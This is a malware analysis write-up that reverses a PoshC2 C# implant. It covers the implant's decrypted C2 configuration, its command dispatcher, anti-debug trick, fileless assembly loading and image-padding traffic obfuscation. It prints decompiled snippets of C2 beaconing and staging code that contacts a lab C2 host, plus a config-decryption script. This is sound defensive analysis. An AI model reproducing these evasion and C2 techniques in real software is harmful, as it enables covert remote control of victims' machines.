Skip to main content

PoshC2: Dropper-cs.exe

Table of Contents

TL;DR
#

dropper_cs.exe is a PoshC2 C# implant. An AES-encrypted C2 configuration is embedded directly in the binary, decrypted at runtime to reveal the C2 address, beacon interval, session key, and URI pattern. The implant contacts 192.168.248.128:443, sending an AES-encrypted system fingerprint disguised as a SessionID cookie. Outbound data is padded with real image bytes to evade network inspection. All communication is encrypted with AES-CBC and SSL validation is disabled to allow self-signed certificates.

Once staging completes, the implant enters an indefinite beacon loop (KillDate: 2999-01-01), polling the C2 every 5 seconds ±20% jitter for commands. It supports 13+ commands including in-memory assembly execution, live reconfiguration, modular payload loading via Stage2-Core.exe, and named pipe communication for lateral movement. All operations are fileless — nothing is written to disk.

1SHA256      8E5EEB667A962DBEE803572F951D08A65C67A42ECB6D6EAF8EBAAF3681E26154
2Family      PoshC2 — C# implant
3C2          https://192.168.248.128
4URI         /vfe01s/1/vsopts.js/?c
5BeaconSleep 5s ± 20% jitter
6KillDate    2999-01-01
7Encryption  AES-CBC, 256-bit key

initial analysis
#

1$ file *
2dropper_cs.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections

SHA256: 8E5EEB667A962DBEE803572F951D08A65C67A42ECB6D6EAF8EBAAF3681E26154

libraries
#

Confirmed that is .NET executable by seen a huge amount of mscoree.dl (Microsoft .NET Runtime Execution Engine)

alt text

imports
#

1VirtualProtect                              KERNEL32.dll
2GetCurrentThread                            KERNEL32.dll
3TerminateThread                             KERNEL32.dll
4GetConsoleWindow                            KERNEL32.dll

- VirtualProtect + PAGE_EXECUTE_READWRITE field: marks memory regions as executable, shellcode injection technique
- GetConsoleWindow + ShowWindow(SW_HIDE): hides console window from user

1Load                                        mscoree.dll (runtime)
2CreateDomain, DoCallBack, Unload            mscoree.dll (runtime)
3RunEphemeralAssembly, ActivateLoader        mscoree.dll (runtime)
4RunTempAppDomain, RunAssembly               mscoree.dll (runtime)

- loads and executes assemblies directly from bytes, never touching disk

1Beacon, BeaconSleepMillis, Jitter           mscoree.dll (C2 logic)
2GenerateUri, StageUrl, URIs                 mscoree.dll (C2 logic)
3GetCommands, SendTaskOutputString           mscoree.dll (C2 logic)
4DownloadString, UploadData                  System.Net (WebClient)

- beacon loop: sleep with jitter -> contact C2 -> receive commands -> send output
- GenerateUri: randomizes request URLs to evade pattern-based detection

1ProxyUrl, ProxyUser, ProxyPassword          mscoree.dll (config)
2UserAgent, HttpReferrer                     mscoree.dll (config)
3set_ServerCertificateValidationCallback     System.Net
4AllowUntrustedCertificates                  mscoree.dll

- custom User-Agent, Referrer, proxy support
- SSL certificate validation disabled: allows self-signed C2 certs, MITM-friendly

1PadWithImageData, ImageDataObfuscator       mscoree.dll (C2 logic)
2Images, ExtractImages                       mscoree.dll (config)

- steganography: C2 traffic disguised as image data

1RijndaelManaged, AesCryptoServiceProvider   System.Security.Cryptography
2Encrypt, Decrypt, CreateEncryptor           mscoree.dll
3Key, GenerateIV                             mscoree.dll

- AES encryption of all C2 traffic

1GetEnvironmentalInfo, GetCurrentProcess     mscoree.dll / System.Diagnostics
2get_UserName, get_UserDomainName            System
3IsHighIntegrity, WindowsPrincipal.IsInRole  System.Security.Principal
4GetEnvironmentVariable                      System

- system reconnaissance: username, domain, process name, PID
- IsHighIntegrity: checks for admin/SYSTEM privileges

strings
#

1PAGE_EXECUTE_READWRITE        
2SW_HIDE                        
3MULTI_COMMAND_PREFIX          
4COMMAND_SEPARATOR             

- PAGE_EXECUTE_READWRITE - VirtualProtect constant, confirms shellcode injection capability
- SW_HIDE — hides console window on startup
- MULTI_COMMAND_PREFIX / COMMAND_SEPARATOR — supports batched command execution from C2

1reversedBase64Config  
2!d-3dion@LD!-d                 hardcoded key (used in PoshC2) 
3==wFR4yT0nuXyBLNH...           reversed base64 ~600 chars (offset 0x04B25DE9)
4sI1bBV0hgqeoBBbXa/KqQx8...     base64 (offset 0x04B2629C)

- large reversed base64 blob (~600 chars) — embedded encrypted C2 configuration

 1run-exe                         command
 2run-dll                         command
 3run-temp-appdomain              command
 4update-config                   command
 5load-module                     command
 6run-dll-background              command
 7run-exe-background              command
 8run-assembly-background         command
 9set-delegates                   command
10download-file                   command
11run-assembly                    command
12beacon                          command
13exit                            command
14multicmd                        command prefix

- full C2 command dispatcher confirmed
- run-assembly / run-exe / run-dll — arbitrary in-memory code execution
- run-*-background — background task execution in separate threads
- load-module — dynamic loading of new modules pushed from C2
- download-file — exfiltration or additional staging
- update-configlive reconfiguration

1{0}/{1}{2}/?{3}                 URL format string
2SessionID={0}                   cookie/param
3Host                           
4User-Agent                     
5Referer                        

- URL template {0}/{1}{2}/?{3} — randomized C2 url generation to evade pattern detection
- SessionID in cookie — mimics legitimate web session to blend into normal traffic

Overall conclusion: Strings confirm and extend the picture from imports — this is a PoshC2 C# implant (Stager/Dropper):

  • Two-stage architecture: this binary is the stager, loads Stage2-Core.exe entirely in memory
  • Embedded encrypted config: large base64 blob with C2 parameters, decoded via reverse + AES
  • Full command loop: 13+ commands including live config update and modular payload loading
  • Traffic masking: SessionID cookie, custom HTTP headers, randomized URL patterns
  • Operational security: KillDate enforced, temporary AppDomains, all operations fileless

running in Sandbox
#

Ran ANY.RUN sandbox with Fake Net enabled. Sample sends 2 HTTP requests over ~40 seconds (beacon interval).

alt text
- url pattern /vfe01s/1/vsopts.js/?c directly matches hardcoded format string {0}/{1}{2}/?{3}

HTTP Request:

 1URL          /vfe01s/1/vsopts.js/?c
 2Protocol     HTTP/1.1
 3Method       GET
 4Cookie       SessionID=nINTTfojq1v9MITeQO+JRekWX1/+Nqc6/BMwBNX6MaW6Wr
 5             PdAzMWsLM/mYMLtMCokYOzh0jpmBMmDUCxfkytXVuMqxpQ/IECzNPp
 6             KiI2ia/3OdtLwM8Qjk6mdnBJyza
 7User-Agent   Mozilla/5.0 (Windows NT 10.0; Win64; x64)
 8             AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
 9Host         192.168.248.128
10Connection   Keep-Alive

- uses legitimate Chrome User-Agent - this is the initial beacon fingerprint sent to C2 on first check-in

alt text
- outbound TCP to 192.168.248.128:443 initiated 1288ms after process start - traffic over port 443 (HTTPS)

reversing in DNSpy
#

Started analysis from Main() function, which calls Sharp().

1public static void Main()
2{
3    Program.Sharp(0L, 0L);
4}

anti-analysis
#

The Sharp() function starts by hiding the console window.

1public static void Sharp(long callbackFunc = 0L, long baseAddress = 0L)
2{
3    Internals.ShowWindow(Internals.GetConsoleWindow(), 0);
4    byte[] array = new byte[0];
5...[snip]...

Next it performs an anti-debug technique using a throw/catch exception. if the debugger is not attached, it triggers a divide-by-zero exception, which is caught by the catch (Exception) block where the main code begins execution. if the debugger is attached — no exception is thrown and the implant proceeds with an empty config, effectively disabling itself.

 1try
 2{
 3    IntPtr intPtr = new IntPtr(0L);
 4    long num;
 5    if (Debugger.IsAttached)
 6    {
 7        num = baseAddress;
 8    }
 9    else
10    {
11        num = baseAddress / intPtr.ToInt64(); // intentional divide-by-zero
12    }
13    array = Encoding.BigEndianUnicode.GetBytes(num.ToString());
14}
15catch (Exception)
16...[snip]...

Inside the catch block, the Config() constructor is initialized with hardcoded encrypted data.

1try
2{
3...[snip]...
4    Config config = new Config("==wFR4yT0nuXyBLNHGAHcm51H/B3CjLNxlp6/k3YhokMiGKy4cWkNtmW6Werm1nHWI4yPTbEchk4pGl54J4YH+d43Edan+kOVjPF/wMkpp7Jc3uXiBjCNEJSQNlNHL6ouI06gjISjsdqPTcLLN2JKAxYLSDtAUkarsF6AVXWknO4DYtUCO2xvwQvf43y4cdLNpuDhVUZv1P3emAcfl1EEA83qYGqIxiJsXvaVR/Nxgrl2/jqVO9XtBEMRkJgP/3JrTPgxp3P3kqIu0/WZvp7YApAXQTO8HRir077rNlcXOxqo1/jVsMTSSk3yiIv7nvmQfyMM/fCTp3o4Oeo6Bq/8/A3RH6gPB4sqNXhU4kVSQerYkP4dSKrKR+jfDYfKqr26TQuduOTcEI9E3tVvZXvZaWqDVUtvFdLviPO89B4Uzs5Wz9S709m91DLFgU0PDlubKyTPmR1qyM4JclfJbW9a60YdYsIm346hq38+Y2IHroOJUhmufrnXAHeX0yTmGq8nNGDpnQm8DpGm4At4MjdSgK0YW6HRWRYB4yoU07cv4hvZPvhXCChNk+fl4i9RDwcj7YtrY7fR4Nw+1us/nE6fsfM", "sI1bBV0hgqeoBBbXa/KqQx8FSWe/jqKFF9TBxehGxxc=");
5    Program.Init(config);
6...[snip]...
7}
8catch (Exception ex)

Config(config, key) receives the encrypted config as a reversed base64 string. the string is first reversed, then passed along with the key to Decrypt(). the decrypted result contains another base64 string which is decoded again, producing plaintext that is passed to ParseConfigString().

alt text

Decrypt() extracts the first 16 bytes from the decrypted data as the IV, then constructs the cipher via CreateAlgorithm(key, iv).

alt text

CreateAlgorithm() implements AES-CBC with a 128-bit block size and 256-bit key.

alt text

To extract the plaintext config, a Python script was written to replicate the C# decryption logic: - reverse the base64 string - decode base64 → ciphertext bytes - first 16 bytes = IV, remaining bytes = ciphertext - decode key from base64 - decrypt using AES-CBC - decode result as base64 once more to get plaintext config

 1from Crypto.Cipher import AES
 2import base64
 3
 4rev_b64 = ("==wFR4yT0nuXyBL...fsfM")
 5b64_key = "sI1bBV0hgqeoBBbXa/KqQx8FSWe/jqKFF9TBxehGxxc="
 6
 7b64 = rev_b64[::-1]
 8ciphertext = base64.b64decode(b64)
 9
10iv = ciphertext[:16]
11ct = ciphertext[16:]
12
13key = base64.b64decode(b64_key)
14
15cipher = AES.new(key, AES.MODE_CBC, iv)
16dec = cipher.decrypt(ct)
17
18dec = dec.rstrip(b'\x00')
19text = dec.decode('utf-8')
20raw = base64.b64decode(text)
21config = raw.decode('utf-8')
22
23print(config)

config decryption result
#

Running the decryption script against the embedded config produces the following plaintext:

1true;30;60;;;;;TW96aWxsYS81LjAg...;;2999-01-01;1;https://192.168.248.128,;https://192.168.248.128,;;;/vfe01s/1/vsopts.js/?c;;5s;0.2;Qqz6czYCfkrmlba4dF16YLO1vJq13piIlFlN+5o06/g=;;;

parsed config fields:

 1RetriesEnabled        true
 2RetryLimit            30
 3StageWaitTimeMillis   60
 4UserAgent             Mozilla/5.0 (Windows NT 10.0; Win64; x64)
 5                      AppleWebKit/537.36 Chrome/80.0.3987.122 Safari/537.36
 6                      (base64 decoded from TW96aWxsYS81LjAg...)
 7KillDate              2999-01-01
 8ImplantId             1
 9StageUrl              https://192.168.248.128
10BeaconCommsUrl        https://192.168.248.128
11URI                   /vfe01s/1/vsopts.js/?c
12BeaconSleep           5s
13Jitter                0.2  (20%)
14Key                   Qqz6czYCfkrmlba4dF16YLO1vJq13piIlFlN+5o06/g=
  • KillDate: 2999-01-01 — effectively disabled, implant runs indefinitely
  • BeaconSleep: 5s with Jitter: 0.2 — beacon interval is 5 seconds ±20%, confirms ~40s gap observed in sandbox was due to fake.net retry backoff, not the configured sleep
  • UserAgent field matches exactly the User-Agent observed in HTTP request during sandbox analysis
  • Key — AES session key used for encrypting beacon communications (separate from config decryption key)
  • StageUrl and BeaconCommsUrl both point to 192.168.248.128 — single C2 server for both staging and ongoing communication
  • URI: /vfe01s/1/vsopts.js/?c — confirms the exact path observed in sandbox network capture

Init() → Stage() → CommandLoop() analysis
#

Init() — main execution entry point, called after config decryption and validation checks pass. It calls Stage() for initial C2 check-in, then enters CommandLoop() indefinitely

1private static void Init(Config config)
2{
3    IComms comms = new HttpComms(config);
4    Program._sendData = new Action<string, byte[]>(comms.SendTaskOutputBytes);
5    Program.Stage(config, comms);
6    Program.CommandLoop(config, comms);
7}

CommandLoop() — main beacon loop, runs until KillDate.

1while (!(DateTime.ParseExact(config.KillDate, "yyyy-MM-dd", ...) < DateTime.Now))

- loop continues as long as current date is before KillDate
- KillDate: 2999-01-01 extracted from config — implant runs indefinitely

task parsing:

1string text2 = text.Substring(0, 5);  // first 5 chars = task ID
2string command = text.Substring(5);    // remainder = command string

- every command received from C2 is prefixed with a 5-character task ID
- task ID is used when sending output back to C2 to correlate responses

batch command support:

1commands.Replace("multicmd", "").Split(new string[]{"!d-3dion@LD!-d"}, ...)

- multicmd prefix signals multiple commands in a single response - !d-3dion@LD!-d is the hardcoded delimiter separating individual commands - both strings were identified during static strings analysis

command dispatcher:

 1exit                     -> dispose comms, terminate loop
 2run-temp-appdomain       -> execute assembly in isolated temporary AppDomain
 3update-config            -> live reconfiguration via config.Refresh()
 4load-module              -> load Stage2-Core assembly into memory, wire delegates
 5run-dll/exe-background   -> execute assembly in background thread
 6run-dll/exe              -> execute assembly in current thread
 7run-assembly-background  -> run ephemeral assembly in background thread
 8run-assembly             -> run ephemeral assembly in current thread
 9set-delegates            -> rewire Stage2-Core function pointers
10download-file            -> execute via RunCoreAssembly, send output to C2
11beacon                   -> update sleep interval via SLEEP_REGEX parser
12<unknown command>        -> fallback: passed to RunCoreAssembly (all custom modules)

C2 communication layer
#

Constructor initializes the steganography module ImageDataObfuscator for hiding C2 data inside image payloads, and disables SSL validation via AllowUntrustedCertificates() to allow self-signed certificates on the C2 server.

1internal HttpComms(Config config)
2{
3    this._config = config;
4    this._imageDataObfuscator = new HttpComms.ImageDataObfuscator(config);
5    Utils.AllowUntrustedCertificates();
6}

Stage() — initial C2 check-in. Environmental fingerprint is AES-encrypted and sent as SessionID cookie, confirmed by sandbox HTTP capture. C2 URL is constructed from StageCommsChannels key + StageUrl from decrypted config.

1string cookie = Encryption.Encrypt(this._config.Key, environmentalInfo, false);
2string address = text + this._config.StageUrl;
3WebClient webClient = this.GetWebClient(cookie, hostHeader);
4string base64EncodedCiphertext = webClient.DownloadString(address);

Steganographic payload padding
#

PadWithImageData() disguises outbound C2 data by prepending a real image followed by random noise, making the payload appear as a legitimate image file to network inspection tools.

 1internal byte[] PadWithImageData(byte[] data)
 2{
 3    int num = data.Length + 1500;
 4    string s = this._config.Images[new Random().Next(0, this._config.Images.Count)];
 5    byte[] array = Convert.FromBase64String(s);
 6    byte[] bytes = Encoding.UTF8.GetBytes(HttpComms.ImageDataObfuscator.RandomString(1500 - array.Length));
 7    byte[] array2 = new byte[num];
 8    Array.Copy(array, 0, array2, 0, array.Length);
 9    Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
10    Array.Copy(data, 0, array2, array.Length + bytes.Length, data.Length);
11    return array2;
12}

Final payload structure is [image bytes] + [random noise] + [actual data], total size is always data.Length + 1500 bytes. Image is randomly selected from the Images list in decrypted config and base64-decoded. Noise fills the remaining space up to the 1500-byte header using RandomString().

RandomString() generates noise by sampling random characters from a fixed charset, producing unpredictable but low-entropy padding.

1private static string RandomString(int length)
2{
3    return new string((from s in Enumerable.Repeat<string>("...................@..........................Tyscf", length)
4    select s[Program.RANDOM.Next(s.Length)]).ToArray<char>());
5}

The fixed charset "...................@..........................Tyscf" was visible as a raw string in the strings analysis at offset 0x04B25D81.